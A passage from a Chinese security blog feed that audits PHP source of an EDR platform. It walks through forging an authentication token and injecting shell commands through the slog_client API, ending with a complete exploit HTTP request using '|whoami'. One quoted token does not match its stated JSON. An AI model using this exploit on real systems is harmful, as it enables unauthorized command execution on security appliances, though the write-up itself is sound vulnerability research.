\u5bf9\u5e94\u503c\uff0c\u76f4\u63a5\u770b\u4ee3\u7801\u5f00\u5934\u5305\u542b\u4e86\u54ea\u4e9b\u6587\u4ef6\u5373\u53ef :<\/p>\n\n<p><img src=\"\/images\/2020-09-03\/15981261213631.jpg\" alt=\"-w938\" \/><\/p>\n\n<p>\u6700\u7ec8\u53d1\u73b0 <code>\/bin\/mapreduce\/app\/web\/device_linkage\/common\/common.php<\/code> \u4e2d\u5b9a\u4e49\u4e86\u5e38\u91cf :<\/p>\n\n<pre><code class=\"language-php\">define(\"STD_CSSP_EXEC_SLOG_ACTION_URL\",\"\/api\/edr\/sangforinter\/v2\/cssp\/slog_client\");\n<\/code><\/pre>\n\n<pre><code class=\"language-php\">define(\"EXEC_SLOG_ACTION\",\"exec_slog_action\");\n<\/code><\/pre>\n\n<p>\u77e5\u9053\u4e86\u8fd9\u4e9b\u5e38\u91cf\u7684\u5b9a\u4e49\uff0c\u5927\u81f4\u5c31\u660e\u767d\u4e86\uff0c<strong>\uff08 \u731c\u6d4b \uff09<\/strong>\u5f53\u6211\u4eec\u8bbf\u95ee <code>\/api\/edr\/sangforinter\/v2\/cssp\/slog_client<\/code> \u65f6\uff0c\u51fd\u6570 <code>get_opr<\/code> \u8fd4\u56de <code>exec_slog_action<\/code>\uff0c\u4e5f\u5c31\u662f\u6211\u4eec\u4e4b\u524d\u6240\u53d1\u73b0\u5b58\u5728\u5b89\u5168\u98ce\u9669\u7684\u51fd\u6570\uff0c\u8fd9\u4e5f\u4ec5\u4ec5\u662f\u731c\u6d4b\uff0c\u4f46\u60f3\u8981\u8bc1\u5b9e\u8fd9\u4e2a\u731c\u6d4b\uff0c\u6211\u4eec\u5c31\u5f97\u5543\u4e00\u5543\u6587\u4ef6 <code>\/bin\/web\/dev_linkage_launch.php<\/code>\u3002<\/p>\n\n<h4 id=\"get_interface_data-\u51fd\u6570\u5206\u6790\">get_interface_data \u51fd\u6570\u5206\u6790<\/h4>\n\n<p>\u6211\u4eec\u5df2\u7ecf\u77e5\u9053\u4e86\u51fd\u6570 <code>get_opr<\/code> \u7684\u4f5c\u7528\uff08 \u8fd4\u56de\u63a5\u53e3\u65b9\u6cd5 \uff09\uff0c\u6765\u770b\u770b\u5728\u6587\u4ef6\u4e2d\u7684\u54ea\u91cc\u88ab\u8c03\u7528\uff0c\u53d1\u73b0\u4e00\u5904\u8c03\u7528 :<\/p>\n\n<pre><code class=\"language-php\">function get_interface_data($argv) {\n    \/\/\u83b7\u53d6url\n    $req_url = $_SERVER['PHP_SELF'];\n    \/\/\u6821\u9a8ctoken\n    check_token($req_url);\n    \/\/\u6784\u9020opr\n    $opr = get_opr($req_url);\n    \/\/\u6839\u636e\u65b9\u6cd5\u6784\u9020\u4e1a\u52a1\u4ee3\u7801\u8def\u5f84\n    $app_name = get_app_name($opr);\n    $data = array();\n    if($_SERVER['REQUEST_METHOD'] == 'POST'){\n        $data = get_body_data($argv);\n    }\n    \/\/\u6839\u636eopr\u3001app_name\u4ee5\u53cadata\u6784\u9020\u6570\u636e\n    $interface_data = array();\n    $interface_data[\"app_args\"][\"name\"] = $app_name;\n    $interface_data[\"opr\"] = $opr;\n    if($_SERVER['REQUEST_METHOD'] == 'POST'){\n        $interface_data[\"data\"] = $data;\n    }\n    return $interface_data;\n}\n<\/code><\/pre>\n\n<p>\u51fd\u6570 <code>get_interface_data<\/code> \u8c03\u7528\u4e86\u51fd\u6570 <code>get_opr<\/code>\uff0c\u4f20\u9012\u53c2\u6570\u503c\u4e3a <code>$req_url = $_SERVER['PHP_SELF'];<\/code>\uff0c\u4e5f\u5c31\u662f\u8bf7\u6c42\u7684 <code>URI<\/code> ( \u4f8b\u5982\u8bf7\u6c42\u5730\u5740\u4e3a <code>http:\/\/localhost\/chen.php<\/code> \u90a3\u4e48 <code>$_SERVER['PHP_SELF']<\/code> \u7684\u503c\u5373\u4e3a <code>\/chen.php<\/code> )\u3002<\/p>\n\n<p><strong>\u6ce8<\/strong>\uff1a\u8fd9\u91cc\u8bc1\u5b9e\u4e86\u6211\u4eec\u5728\u5206\u6790 <code>get_opr<\/code> \u51fd\u6570\u65f6\u7684\u731c\u6d4b\uff0c\u8bf7\u6c42\u7684\u5730\u5740\u5fc5\u987b\u4e3a <code>\/bin\/mapreduce\/app\/web\/device_linkage\/common\/common.php<\/code> \u6587\u4ef6\u4e2d\u5b9a\u4e49\u5e38\u91cf\u7684\u5730\u5740\uff0c\u4e0d\u80fd\u4e3a <code>dev_linkage_launch.php<\/code>\u3002<\/p>\n\n<p>\u90a3\u4e48\u60f3\u8981\u8fdb\u5165\u8c03\u7528\u51fd\u6570 <code>get_opr<\/code> \u7684\u903b\u8f91\uff0c\u6211\u4eec\u9700\u8981\u5148\u4e86\u89e3\u4e0b\u51fd\u6570 <code>get_interface_data<\/code> \u7684\u903b\u8f91\uff0c\u5728\u6b64\u4e4b\u524d\u6211\u4eec\u9700\u8981\u786e\u4fdd\u81ea\u5df1\u4e0d\u4f1a\u505a<strong>\u65e0\u7528\u529f<\/strong>\uff0c\u6240\u4ee5\u9700\u8981\u770b\u4e0b\u51fd\u6570 <code>get_interface_data<\/code> \u662f\u5426\u5728\u4e0a\u4e0b\u6587\u4ee3\u7801\u4e2d\u88ab\u8c03\u7528 :<\/p>\n\n<p><img src=\"\/images\/2020-09-03\/15981340754516.jpg\" alt=\"-w711\" \/><\/p>\n\n<p><img src=\"\/images\/2020-09-03\/15981340883961.jpg\" alt=\"-w289\" \/><\/p>\n\n<p>\u8be5\u51fd\u6570\u76f4\u63a5\u88ab\u5165\u53e3\u51fd\u6570\u8c03\u7528\uff0c\u90a3\u4e48\u6211\u4eec\u63a5\u4e0b\u6765\u5c31\u53ef\u4ee5\u5206\u6790\u4e0b\u8be5\u51fd\u6570\u903b\u8f91\uff0c\u6839\u636e\u6ce8\u91ca\u6211\u4eec\u4e86\u89e3\u5230\u8fd9\u91cc\u4f1a\u6821\u9a8ctoken\uff0c\u4e5f\u5c31\u662f\u51fd\u6570 <code>check_token<\/code>\u3002<\/p>\n\n<h5 id=\"check_token-\u7ed5\u8fc7\">check_token \u7ed5\u8fc7<\/h5>\n\n<p>\u8ddf\u8fdb\u51fd\u6570 <code>check_token<\/code>\uff0c\u5176\u4ee3\u7801\u5982\u4e0b :<\/p>\n\n<pre><code class=\"language-php\">\/**\n * @func        \u68c0\u9a8ctoken\n * @param       string $req_url \u8054\u52a8\u7684url\n * @throws      Exception\n *\/\nfunction check_token($req_url){\n    \/\/CSSP\u63a5\u53e3\u4f7f\u7528\u7279\u6743IP\u7684\u65b9\u5f0f\u8fdb\u884c\u6821\u9a8c\n    if (strpos($req_url, STD_CSSP_REQUEST_URL_PREFIX) !== false &amp;&amp; $req_url != STD_CSSP_SET_KEY_URL) {\n        parse_str($_SERVER['QUERY_STRING'],$query_str_parsed);\n        if(!isset($query_str_parsed[TOKEN])) {\n            throw new Exception(ldb_get_lang(\"THIS_OPERATION_NEED_TOKEN\"));\n        }\n        $ret = check_access_token($query_str_parsed[TOKEN], $req_url);\n        if ($ret == 1) {\n            response_linkage_dev_msg(CSSP_TOKEN_AUTH_FAILED);\n            die();\n        }\n    }\n    \/\/\u5224\u65adurl \u9700\u4e0d\u9700\u8981\u8fdb\u884c\u6821\u9a8ctoken\n    if($req_url == AGENT_INFO_URL ||\n       $req_url == SCAN_ABOUT_URL ||\n       $req_url == EDR_INFO_ABOUT_URL ||\n       $req_url == EVIDENCE_INFO_URL){\n        \/\/\u6821\u9a8ctoken\n        $url_params = get_url_param();\n        $ret = token_valid($url_params[TOKEN]);\n        if($ret){\n            response_linkage_dev_msg($ret);\n            die();\n        }\n    }\n}\n<\/code><\/pre>\n\n<p>\u7b80\u5355\u7406\u89e3\u5c31\u662f\u83b7\u53d6\u6240\u6709\u8bf7\u6c42\u53c2\u6570\uff0c\u5e76\u83b7\u53d6\u53c2\u6570 <code>token<\/code> \u7684\u503c\u5e26\u5165\u51fd\u6570 <code>check_access_token<\/code>\uff0c\u6700\u540e\u7684\u8fd4\u56de\u7ed3\u679c\u4e0d\u4e3a <code>1<\/code> \u5373\u53ef\u6210\u529f\u9a8c\u8bc1token\uff0c\u6211\u4eec\u7ee7\u7eed\u8ddf\u8fdb\u8be5\u51fd\u6570\uff0c\u6587\u4ef6 <code>\/bin\/web\/ui\/php\/platform.php<\/code> :<\/p>\n\n<pre><code class=\"language-php\">\/**\n * \u68c0\u9a8ccssp\u8bf7\u6c42\u7684token\n * @return 0\/1 \u6210\u529f\/\u5931\u8d25\n *\/\nfunction check_access_token($access_token, $req_url){\n\n    $token_str = base64_decode($access_token);\n    $json_token = json_decode($token_str, true);\n    $key = get_item_from_os_json(\"privateKey\");\n    if($key == \"\" &amp;&amp; $req_url == STD_CSSP_DOWN_CONF_URL) {\n        $key = STD_CSSP_DEFAULT_KEY;\n    }\n    $md5_str = md5($key.$json_token[\"random\"]);\n    if($md5_str == $json_token[\"md5\"]) {\n        return 0;\n    }\n\n    ldb_error(\"check token failed\");\n    return 1;\n}\n<\/code><\/pre>\n\n<p>\u53c2\u6570 <code>token<\/code> \u7684\u503c\u9700\u8981\u7ecf\u8fc7Base64\u89e3\u7801\u3001JSON\u8f6c\u6362\uff08 \u5c06JSON\u8f6c\u4e3a\u6570\u7ec4 \uff09\uff0c\u6700\u540e\u5b57\u6bb5 <code>random<\/code> \u4e0e\u53d8\u91cf <code>$key<\/code> \u62fc\u63a5\u8fdb\u884cmd5\u52a0\u5bc6\u7684\u503c\u4e0e\u5b57\u6bb5 <code>md5<\/code> \u4e00\u6837\u5219\u53ef\u4ee5\u8fdb\u5165 <code>return 0;<\/code> \u5426\u5219\u5c31\u662f <code>return 1;<\/code>\uff08 \u6211\u4eec\u5c31\u9700\u8981\u8fd4\u56de\u4e3a0\u624d\u53ef\u8fc7token\u9a8c\u8bc1 \uff09\u3002<\/p>\n\n<p>\u90a3\u5728\u8fd9\u6211\u4eec\u9700\u8981\u77e5\u9053\u53d8\u91cf <code>$key<\/code> \u662f\u600e\u4e48\u6837\u83b7\u53d6\u5230\u7684\uff0c\u8ddf\u8fdb\u51fd\u6570 <code>get_item_from_os_json<\/code> :<\/p>\n\n<pre><code class=\"language-php\">\/**\n * \u4ece\/etc\/cssp_custom_image\/os.json\u4e2d\u83b7\u53d6\u6307\u5b9a\u503c\n * @param $key os.json\u4e2d\u7684\u952e\n * @return \u8fd4\u56de\u6307\u5b9a\u952e\u5bf9\u5e94\u7684\u503c\n *\/\nfunction get_item_from_os_json($key){\n    $item = \"\";\n\n    $file_path = \"\/etc\/cssp_custom_image\/os.json\";\n    if(file_exists($file_path)){\n        $os_json = get_json_from_file($file_path);\n        if ($os_json === null) {\n            ldb_error(\"target file is null\");\n            return \"\";\n        }\n        $item = $os_json[$key];\n    }\n\n    return $item;\n}\n<\/code><\/pre>\n\n<p>\u53d1\u73b0\u8fd9\u91cc\u5b9e\u9645\u610f\u4e49\u4e0a\u5c31\u662f\u5c06 <code>$file_path = \"\/etc\/cssp_custom_image\/os.json\";<\/code> \u5e26\u5165 <code>get_json_from_file<\/code> \u51fd\u6570\uff0c\u7ee7\u7eed\u8ddf\u8fdb\u8fd9\u4e2a\u51fd\u6570 :<\/p>\n\n<pre><code class=\"language-php\">\/**\n * \u4ece\u6587\u4ef6\u8bfb\u53d6\u4e00\u4e2ajson\n * @param conf_file \u6587\u4ef6\u8def\u5f84+\u6587\u4ef6\u540d\n * @return data_arry \u8fd4\u56de\u4e00\u4e2a\u5173\u8054\u6570\u7ec4\n*\/\nfunction get_json_from_file($conf_file){\n    if (!file_exists($conf_file)) {\n        ldb_error(\"err:file null\");\n        return null;\n    }\n\n    $json_string = file_get_contents($conf_file);\n    $data_arry = json_decode($json_string, true);\n\n    if (is_null($data_arry)) {\n        ldb_error(\"get json from file failed\");\n        return null;\n    }\n\n    return $data_arry;\n}\n<\/code><\/pre>\n\n<p>\u8be5\u51fd\u6570\u5c31\u662f\u4ece\u6587\u4ef6\u4e2d\u8bfb\u53d6JSON\uff0c\u5e76\u8f6c\u4e3a\u6570\u7ec4\u8fd4\u56de\uff0c\u6211\u4eec\u60f3\u8981\u77e5\u9053\u5177\u4f53\u5185\u5bb9\u5c31\u8981\u770b\u4e0b\u521d\u59cb\u7684 <code>\/etc\/cssp_custom_image\/os.json<\/code> \u6587\u4ef6\u5185\u5bb9\uff0c\u4f46\u7b14\u8005\u8fd9\u91cc\u5b89\u88c5\u9ed8\u8ba4\u60c5\u51b5\u4e0b\u8be5\u6587\u4ef6\u662f\u4e0d\u5b58\u5728\u7684 :<\/p>\n\n<p><img src=\"\/images\/2020-09-03\/15981333535662.jpg\" alt=\"-w1076\" \/><\/p>\n\n<p>\u90a3\u5728\u8fd9\u91cc\u5176\u8fd4\u56de\u7684\u5c31\u662f\u7a7a\uff0c\u8fd9\u65f6\u5019\u6211\u4eec\u518d\u56de\u5230\u51fd\u6570 <code>check_access_token<\/code>\uff0c\u5176\u4ee3\u7801\uff08 \u4ee3\u7801\u4e0a\u6587\u4e2d\u5df2\u7ecf\u5217\u51fa \uff09\u903b\u8f91\u5f53\u53d8\u91cf <code>$key<\/code> \u503c\u4e3a\u7a7a\u5e76\u4e14 <code>$req_url == STD_CSSP_DOWN_CONF_URL<\/code>\uff08 <code>define(\"STD_CSSP_DOWN_CONF_URL\",\"\/api\/edr\/sangforinter\/v2\/cssp\/down_conf\");<\/code>\n \uff09 \u7684\u60c5\u51b5\u4e0b\u53d8\u91cf <code>$key<\/code> \u503c\u4e3a\u5e38\u91cf <code>STD_CSSP_DEFAULT_KEY<\/code>  \u7684\u503c\uff0c\u5373: <code>define(\"STD_CSSP_DEFAULT_KEY\",\"amsPnhHqfN5Ld5FU\");<\/code>\uff08 \u5e38\u91cf\u5b9a\u4e49\u5728 <code>\/bin\/mapreduce\/app\/web\/device_linkage\/common\/common.php<\/code> \u6587\u4ef6\u4e2d \uff09\u3002<\/p>\n\n<p>\u4f46\u6b64\u5904\u6211\u4eec\u7684\u53d8\u91cf <code>$req_url<\/code> \u4e3a <code>\/api\/edr\/sangforinter\/v2\/cssp\/slog_client<\/code> \u5e76\u4e0d\u7b26\u5408\u903b\u8f91\u6761\u4ef6\uff0c\u6240\u4ee5\u53d8\u91cf <code>$key<\/code> \u8fd8\u662f\u4e3a\u7a7a\u7684\u3002<\/p>\n\n<p>\u90a3\u6211\u4eec\u53ef\u4ee5\u6839\u636e\u4ee3\u7801\u903b\u8f91\u76f4\u63a5\u6784\u5efatoken\u503c\uff0c\u9996\u5148\u662fJSON\u5185\u5bb9\u6709\u4e24\u4e2a\u5b57\u6bb5random\u3001md5\uff0c\u8fd8\u8981\u6ee1\u8db3\u5b57\u6bb5md5\u7684\u503c\u7b49\u4e8e<code>md5(\u5b57\u6bb5random)<\/code>\u7684\u503c\uff0c\u6240\u4ee5\u6211\u4eec\u8981\u63d0\u524d\u5148\u8bbe\u7f6e\u5b57\u6bb5random\u4e3a1\uff0c\u968f\u540e\u8fdb\u884cmd5\u52a0\u5bc6\u5e76\u5c06\u7ed3\u679c\u8d4b\u4e88\u5b57\u6bb5md5\u5373\u53ef :<\/p>\n\n<p><img src=\"\/images\/2020-09-03\/15981351792870.jpg\" alt=\"-w374\" \/><\/p>\n\n<pre><code class=\"language-json\">{\"random\":\"1\", \"md5\":\"c4ca4238a0b923820dcc509a6f75849b\"}\n<\/code><\/pre>\n\n<p>\u6700\u540e\u8fdb\u884cBase64\u7f16\u7801 : <code>eyJyYW5kb20iOiIxMjMiLCAibWQ1IjoiYWI0NzU2M2FjNmZiOWU1MTdiZTg4ODBjODdmNzc2NWYifQ==<\/code><\/p>\n\n<p>\u81f3\u6b64\u6211\u4eec\u5c31\u7ed5\u8fc7\u4e86token\u6821\u9a8c\u9650\u5236\u3002<\/p>\n\n<h5 id=\"\u903b\u8f91\u68b3\u7406\">\u903b\u8f91\u68b3\u7406<\/h5>\n\n<p>\u6211\u4eec\u6765\u68b3\u7406\u51fd\u6570 <code>get_interface_data<\/code> \u7684\u903b\u8f91\uff0c\u5176\u901a\u8fc7\u51fd\u6570 <code>get_opr<\/code> \u53cd\u56de\u503c\u5e26\u5165\u51fd\u6570 <code>get_app_name<\/code> \u83b7\u53d6\u5177\u4f53\u4ee3\u7801\u8def\u5f84\uff0c\u800c\u540e\u5f53HTTP\u8bf7\u6c42\u7c7b\u578b\u4e3aPOST\u65f6\u83b7\u53d6\u8bf7\u6c42\u6b63\u6587\uff08 POST\u6570\u636e\uff0c\u5982\u4e0b\u51fd\u6570 <code>get_body_data<\/code>\uff0c\u5c06\u8bf7\u6c42\u6b63\u6587\u7684JSON\u8f6c\u4e3a\u6570\u7ec4 \uff09\uff0c\u901a\u8fc7\u6784\u5efa\u6570\u7ec4\u5c06\u6570\u636e\u586b\u5145\u8fdb\u53bb\uff0c\u5e76\u8fd4\u56de\u8be5\u6570\u7ec4\u3002\uff08 \u7b80\u5355\u68b3\u7406\uff0c\u5177\u4f53\u8bf7\u770b\u4ee3\u7801 \uff09<\/p>\n\n<pre><code class=\"language-php\">\/**\n * @fun        \u6839\u636e\u534f\u8baebody\u4e2d\u7684\u5185\u5bb9\u6765\u6784\u9020data\u4e2d\u7684\u5185\u5bb9\n * @param      array     $argv      \u8f93\u5165\u7684\u53c2\u6570\n * @return     array     $params    \u8054\u52a8\u8bbe\u5907\u4f20\u6765\u7684body\n *\/\nfunction get_body_data($argv){\n    $ini_file = getenv(\"EPS_INSTALL_ROOT\") . \"config\/tenant.conf\";\n    if(file_exists($ini_file)){\n        if (0 != strlen(ldb_post_json())) {\n            $docker_data = ldb_get_post($argv);\n            return $docker_data;\n        }\n    }\n\n    $params = array();\n    if(0 != strlen(ldb_post_json())) {\n        $params = ldb_get_post($argv);\n    }\n    return $params;\n}\n<\/code><\/pre>\n\n<p>\u6211\u4eec\u5df2\u7ecf\u77e5\u9053\u4e86\u51fd\u6570 <code>get_interface_data<\/code> \u7684\u903b\u8f91\uff0c\u518d\u8ddf\u8fdb\u8c03\u7528\u5176\u7684\u51fd\u6570 <code>ldb_execute_app<\/code> \u5373\u53ef\u3002<\/p>\n\n<h4 id=\"ldb_execute_app-\u51fd\u6570\u5206\u6790\">ldb_execute_app \u51fd\u6570\u5206\u6790<\/h4>\n\n<p>\u9605\u8bfb\u8fc7\u00ab\u5bf9\u67d0\u7ec8\u7aef\u68c0\u6d4b\u54cd\u5e94\u5e73\u53f0<strong>\u6743\u9650\u7ed5\u8fc7<\/strong>\u6f0f\u6d1e\u7684\u5ba1\u8ba1\u6d41\u7a0b\u00bb\u8be5\u5206\u4eab\u7684\u8bfb\u8005\uff0c\u5927\u81f4\u5c31\u80fd\u7406\u89e3\u8fd9\u91cc\u51fd\u6570\u7684\u4f5c\u7528\u4e86\uff1a<\/p>\n\n<pre><code class=\"language-php\">\/**\n * @func      APP\u901a\u7528\u5165\u53e3\u51fd\u6570\uff0c\u5c06\u8054\u52a8\u53d1\u6765\u7684\u4fe1\u606f\u8f6c\u6362\u6210EDR\u901a\u7528\u7684\u524d\u540e\u7aef\u63a5\u53e3\n * @param     array    $args   \u8f93\u5165\u7684\u53c2\u6570\n *\/\nfunction ldb_execute_app($args) {\n    try {\n\n        \/\/\u6784\u9020\u6210\u4e1a\u52a1\u7edf\u4e00\u5904\u7406\u7684\u63a5\u53e3\n        $interface_data = get_interface_data($args);\n        \/\/ \u68c0\u9a8c\u8bf7\u6c42\u4fe1\u606f\u662f\u5426\u5305\u542b\u6ce8\u5165\u5173\u952e\u5b57\n        $ignore_check = read_ignore_check_info();\n        if(mongo_injection_check($interface_data, $ignore_check) === TRUE) \n        {\n            response_linkage_dev_die_msg(ldb_get_lang(ARGV_CONTAIN_RISK), RESPONSE_ERROR);\n            ldb_error(\"request argv contain mongodb risk keyword, argv=\" . json_encode($interface_data));\n            return ;\n        }\n\n        \/\/\u7279\u6b8a\u5f00\u6743\u9650\u63a7\u5236\u51fd\u6570\n        special_auth($interface_data);\n        \/\/\u6388\u6743\u63a7\u5236\n        authorize_check($interface_data);\n        ldb_debug(\"interface_data is \" . json_encode($interface_data));\n        $app = $interface_data[\"app_args\"][\"name\"];\n        $constructor = ldb_mapreduce_invoke(\"get\", $app);\n        \/\/ \u6784\u5efa\u5e94\u7528\u5bf9\u8c61\n        $instance = call_user_func($constructor);\n        $ret = call_user_func($instance-&gt;main, $instance, $interface_data);\n        \/\/\u54cd\u5e94\u51fa\u9519\u8fd4\u56de\u76f8\u5e94\u7684\u72b6\u6001\u7801\n        if ($ret) {\n            $err_code = call_user_func($instance-&gt;res, $instance);\n            response_linkage_dev_msg($err_code);\n        }\n        \/\/ \u9500\u6bc1\u5e94\u7528\u5bf9\u8c61\n        call_user_func($instance-&gt;destroy, $instance);\n    }\n    catch(Exception $e){\n        \/\/\u901a\u77e5\u8054\u52a8\u8bbe\u5907\n        $err_msg = $e-&gt;getMessage();\n        response_linkage_dev_die_msg($err_msg, RESPONSE_ERROR);\n    }\n}\n\n\/\/ \u5165\u53e3\u51fd\u6570\n$args = ldb_argv_get();\nldb_execute_app($args);\n<\/code><\/pre>\n\n<p><code>ldb_execute_app<\/code> \u51fd\u6570\u4f20\u5165\u53c2\u6570\u4e3a\u53d8\u91cf <code>$args<\/code>\uff0c\u8be5\u503c\u901a\u8fc7\u51fd\u6570 <code>ldb_argv_get<\/code> \u83b7\u53d6\uff0c\u8ddf\u8fdb\u53d1\u73b0\u5c31\u662f\u83b7\u53d6\u7684 URI \u90e8\u5206\u3002<\/p>\n\n<pre><code class=\"language-php\">\/**\n * \u83b7\u53d6\u547d\u4ee4\u884c\u53c2\u6570\n * @return array \u8fd4\u56de\u547d\u4ee4\u884c\u53c2\u6570\n *\/\nfunction ldb_argv_get() {\n    if (ldb_is_cli()) {\n        global $argv;\n        return $argv;\n    }\n    $args = array($_SERVER['PHP_SELF']);\n    return $args;\n}\n<\/code><\/pre>\n\n<h2 id=\"\u903b\u8f91\u68b3\u7406\u4e0e\u6f0f\u6d1e\u5229\u7528\">\u903b\u8f91\u68b3\u7406\u4e0e\u6f0f\u6d1e\u5229\u7528<\/h2>\n\n<p>\u7531\u4e8e\u4e4b\u524d\u7684\u6b65\u9aa4\u90fd\u662f\u9006\u63a8\uff0c\u8fd9\u91cc\u6211\u4eec\u76f4\u63a5\u987a\u7740\u63a8\u4e00\u904d\u6d41\u7a0b\u5c31\u80fd\u7406\u6e05\u6574\u4e2a\u601d\u8def\u4e86\u3002<\/p>\n\n<p>\u5047\u8bbe\u5728\u6b64\u6211\u4eec\u8bbf\u95ee\u7684\u662f <code>\/api\/edr\/sangforinter\/v2\/cssp\/slog_client<\/code>\uff0c\u90a3\u5c31\u662f\u5176\u4f20\u5165\u51fd\u6570 <code>get_interface_data<\/code>\uff0c\u7531\u4e8e\u9700\u8981\u8fc7 <code>check_token<\/code>\uff0c\u6240\u4ee5\u8bbf\u95ee\u5730\u5740\u9700\u4e3a <code>\/api\/edr\/sangforinter\/v2\/cssp\/slog_client?token=eyJyYW5kb20iOiIxIiwgIm1kNSI6ImM0Y2E0MjM4YTBiOTIzODIwZGNjNTA5YTZmNzU4NDliIn0=<\/code>\u3002<\/p>\n\n<p>\u800c\u540e\u901a\u8fc7\u51fd\u6570 <code>get_opr<\/code> \u5f97\u5230\u4e86 <code>exec_slog_action<\/code>\uff0c\u518d\u6839\u636e <code>exec_slog_action<\/code> \u83b7\u5f97\u4e86\u5177\u4f53\u4ee3\u7801\u8def\u5f84 <code>app.web.device_linkage.process_cssp<\/code>\uff0c\u6700\u540e\u6839\u636e <code>opr<\/code>\u3001<code>app_name<\/code> \u4ee5\u53ca <code>data<\/code>\uff08 \u8fd9\u91cc\u7684data\u9700\u4e3aPOST\u8bf7\u6c42\u65b9\u5f0f\u65f6\u624d\u6709 \uff09\u6784\u9020\u6570\u7ec4\u8fd4\u56de\uff0c\u8fd9\u91cc\u6d4b\u8bd5\u5c31\u662fGET\u8bf7\u6c42\uff0c\u6700\u540e\u8fd4\u56de\u6570\u636e\u4e3a\uff1a<\/p>\n\n<pre><code class=\"language-php\">array(2) {\n  [\"app_args\"]=&gt;\n  array(1) {\n    [\"name\"]=&gt;\n    string(35) \"app.web.device_linkage.process_cssp\"\n  }\n  [\"opr\"]=&gt;\n  string(16) \"exec_slog_action\"\n}\n<\/code><\/pre>\n\n<p>\u53d8\u91cf <code>$interface_data<\/code> \u83b7\u53d6\u4e86\u51fd\u6570 <code>get_interface_data<\/code> \u7684\u8fd4\u56de\u503c\uff0c\u7531\u4e8e<code>ldb_execute_app<\/code> \u51fd\u6570\u4ee3\u7801\u5f88\u591a\uff0c\u4e0d\u8fc7\u591a\u8d58\u8ff0\uff0c\u6709\u51e0\u5904\u6388\u6743\u6821\u9a8c\u7684\u51fd\u6570\uff0c\u7b80\u5355\u8ddf\u8e2a\u4e0b\u770b\u4e0b\u6ce8\u91ca\u5c31\u80fd\u4e86\u89e3CSSP\u8bf7\u6c42\u4e0d\u5904\u7406\u6388\u6743\uff1a<\/p>\n\n<p><img src=\"\/images\/2020-09-03\/15981751022649.jpg\" alt=\"-w855\" \/><\/p>\n\n<p><img src=\"\/images\/2020-09-03\/15981750951438.jpg\" alt=\"-w665\" \/><\/p>\n\n<p>\u56de\u8c03\u8c03\u7528 <code>app.web.device_linkage.process_cssp<\/code> \u7684\u51fd\u6570 <code>main<\/code> \u4f20\u5165\u53d8\u91cf <code>$instance<\/code>\u3001<code>$interface_data<\/code>\uff08 \u51fd\u6570 <code>get_interface_data<\/code> \u7684\u8fd4\u56de\u503c \uff09\uff0c\u90a3\u6211\u4eec\u8ddf\u8fdb <code>main<\/code> \u51fd\u6570\uff0c\u53c8\u662f\u56de\u8c03\u51fd\u6570\u8c03\u7528 <code>exec_slog_action<\/code> \u5e76\u4f20\u5165\u53d8\u91cf <code>$object<\/code>\u3001<code>$params<\/code> \uff08 \u51fd\u6570 <code>get_interface_data<\/code> \u7684\u8fd4\u56de\u503c \uff09\u3002<\/p>\n\n<p><img src=\"\/images\/2020-09-03\/15981754820272.jpg\" alt=\"-w542\" \/><\/p>\n\n<p>\u8fd9\u6837\u65e0\u6cd5\u9020\u6210\u547d\u4ee4\u6267\u884c\uff0c\u6211\u4eec\u5728\u4e4b\u524d <code>exec_slog_action \u533f\u540d\u51fd\u6570\u5206\u6790<\/code> \u4e2d\u4e86\u89e3\u5230\u5176\u8981\u83b7\u53d6 <code>$params['data']['params']<\/code> \u5e26\u5165\u547d\u4ee4\u6267\u884c\u8bed\u53e5\u4e2d\uff0c\u7531\u4e8e\u6211\u4eec\u6d4b\u8bd5\u7684\u662fGET\u8bf7\u6c42\uff0c\u51fd\u6570 <code>get_interface_data<\/code> \u7684\u8fd4\u56de\u503c\u5e76\u6ca1\u6709 <code>data['params']<\/code> \u8fd9\u4e2akey\uff0c\u800c\u521a\u597d\u51fd\u6570 <code>get_interface_data<\/code> \u4e2d\u7684\u53d8\u91cf <code>$interface_data[\"data\"]<\/code> \u4f1a\u83b7\u53d6\u51fd\u6570 <code>get_body_data<\/code> \u5904\u7406\u8bf7\u6c42\u6b63\u6587\u7684JSON\u5185\u5bb9\u8f6c\u4e3a\u6570\u7ec4\u7684\u7ed3\u679c\uff0c\u6240\u4ee5\u6211\u4eec\u4fee\u6539\u8bf7\u6c42\u65b9\u6cd5\u4e3aPOST\uff0c\u8bf7\u6c42\u6b63\u6587\u4e3a\uff1a<code>{\"params\":\"|whoami\"}<\/code>\uff0c\u5373\u53ef\u8fdb\u884c\u547d\u4ee4\u6ce8\u5165\u4ece\u800c\u6267\u884c\u3002<\/p>\n\n<pre><code class=\"language-php\">\/\/ {\"params\":\"|whoami\"}` -&gt; array('params' =&gt; '|whoami')\n$interface_data[\"data\"] = array('params' =&gt; '|whoami');\n<\/code><\/pre>\n\n<p><img src=\"\/images\/2020-09-03\/15982381570192.jpg\" alt=\"-w1278\" \/><\/p>\n\n<pre><code class=\"language-php\">POST \/api\/edr\/sangforinter\/v2\/cssp\/slog_client?token=eyJyYW5kb20iOiIxIiwgIm1kNSI6ImM0Y2E0MjM4YTBiOTIzODIwZGNjNTA5YTZmNzU4NDliIn0= HTTP\/1.1\nHost: 192.168.31.136\nConnection: close\nContent-Length: 20\nAccept: application\/json, text\/plain, *\/*\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/84.0.4147.135 Safari\/537.36\nContent-Type: application\/x-www-form-urlencoded\nOrigin: https:\/\/192.168.31.136\nReferer: https:\/\/192.168.31.136\/ui\/login.php\nAccept-Encoding: gzip, deflate\nAccept-Language: zh-CN,zh;q=0.9\n\n{\"params\":\"|whoami\"}\n<\/code><\/pre>\n\n<h2 id=\"\u6700\u540e\">\u6700\u540e<\/h2>\n\n<p>\u719f\u6089\u4e86\u89e3\u4e86\u6574\u4e2a\u6d41\u7a0b\u4e4b\u540e\uff0c\u5176\u5b9e\u8fd8\u6709\u66f4\u591a\u5229\u7528\u70b9\u53ef\u4ee5\u6316\u6398\uff5e\u672c\u6587\u5c31\u4e0d\u8fc7\u591a\u7684\u8d58\u8ff0\u4e86\u3002<\/p>\n","pubDate":"2020-09-03T00:00:00+08:00","link":"https:\/\/gh0st.cn\/archives\/2020-09-03\/4","guid":"https:\/\/gh0st.cn\/archives\/2020-09-03\/4"},{"title":"\u67d0\u7ec8\u7aef\u68c0\u6d4b\u54cd\u5e94\u5e73\u53f0\u4ee3\u7801\u5ba1\u8ba1\u6316\u6398\uff08\u6743\u9650\u7ed5\u8fc7\uff09","description":"<h1 